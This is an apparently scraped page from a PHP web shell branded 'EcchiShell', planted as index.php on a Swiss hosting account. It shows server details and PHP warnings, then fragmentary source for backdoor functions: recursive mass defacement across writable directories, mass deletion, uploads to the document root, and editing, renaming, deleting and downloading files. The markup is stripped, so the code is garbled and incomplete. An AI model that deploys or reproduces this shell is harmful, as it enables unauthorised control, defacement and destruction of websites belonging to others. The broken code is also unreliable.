/home/szs001/smart-kiosk.ch/

OS : Linux

PHP Version : 8.5.7

Software : Apache

Information System : Linux web23.swisscenter.com 4.18.0-553.144.1.lve.el8.x86_64 #1 SMP Thu Jul 16 08:31:06 UTC 2026 x86_64

Disable Function : passthru,system,proc_open,popen,proc_terminate,curl_multi_exec,inject_code


Warning: Undefined array key "opt" in /home/szs001/smart-kiosk.ch/index.php on line 246

Warning: Undefined array key "opt" in /home/szs001/smart-kiosk.ch/index.php on line 305

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 379

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 380

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 381

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 382

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 383

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 384

Warning: Cannot modify header information - headers already sent by (output started at /home/szs001/smart-kiosk.ch/index.php:162) in /home/szs001/smart-kiosk.ch/index.php on line 385
" . $perm . "

"; } else { return "

" . $perm . "

"; } } function r($dir, $perm) { if (!is_readable($dir)) { return "

" . $perm . "

"; } else { return "

" . $perm . "

"; } } function massdeface($dir, $file, $filename, $type = null) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === "." || $dir_ === "..") { file_put_contents($location, $file); } else { if (is_dir($path) and is_writable($path)) { echo $location . PHP_EOL; file_put_contents($location, $file); if ($type === "-alldir") { massdeface($path, $file, $filename, "-alldir"); } } } } } function massdelete($dir, $filename) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === '.') { if (file_exists("$dir/$filename")) { unlink("$dir/$filename"); } } elseif ($dir_ === '..') { if (file_exists(dirname($dir) . "/$filename")) { unlink(dirname($dir) . "/$filename"); } } else { if (is_dir($path) and is_writable($path)) { if (file_exists($location)) { print "[ DELETED ] " . $location . PHP_EOL; unlink($location); massdelete($path, $filename); } } } } } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function getfile($dir, $file, $label) { ?> EcchiShell v1.0
$cdir) { echo "$cdir/"; } ?>

OS :

PHP Version :

Software :

Information System :

Disable Function :

$dir/" . $_FILES['ecchifile']['name'] . ""; } else { $act = "failed to upload file"; } } else { $root = $_SERVER['DOCUMENT_ROOT'] . "/" . $_FILES['ecchifile']['name']; $web = $_SERVER['HTTP_HOST'] . "/" . $_FILES['ecchifile']['name']; if (is_writable($_SERVER['DOCUMENT_ROOT'])) { if (@copy($_FILES['file']['tmp_name'], $root)) { $act = "Uploaded! at $root -> $web"; } else { $act = "failed to upload file"; } } } } ?>
Upload File
Please Chose...
window.location='?dir=" . $dir . "';"; } else { $act = "permission denied"; } } ?>
window.location='?dir=" . dirname($dir) . "';"; } else { $act = "permission denied"; } } ?>
window.location='?dir=" . dirname($dir) . "';"; } else { $act = "could not remove " . basename($dir); } } ?> window.location='?dir=" . $dir . "';"; } else { $act = "permission denied"; } ?> window.location='?dir=" . $dir . "';"; } } ?>
window.location='?act=edit&dir=" . $dir . "&file=" . $_POST['new_file'] . "';"; } else { $act = "permission denied"; } } ?>
" required>
can't open directory. ( not readable )

"; } else { ?>
$direc"; } elseif ($direc === '.') { $href = "$direc"; } else { $href = "$direc"; } if ($direc === '.' || $direc === '..') { $act_dir = "newfile | newfolder"; } else { $act_dir = "rename | delete"; } if (!is_dir("$dir/$direc")) continue; ?> can't open directory.

"; } foreach ($scandir as $file) { $ftype = filetype("$dir/$file"); if (!is_file("$dir/$file")) continue; ?>
Name Filetype Perm Option
"> ">edit | ">rename | ">delete | ">download

./EcchiExploit Copyright ©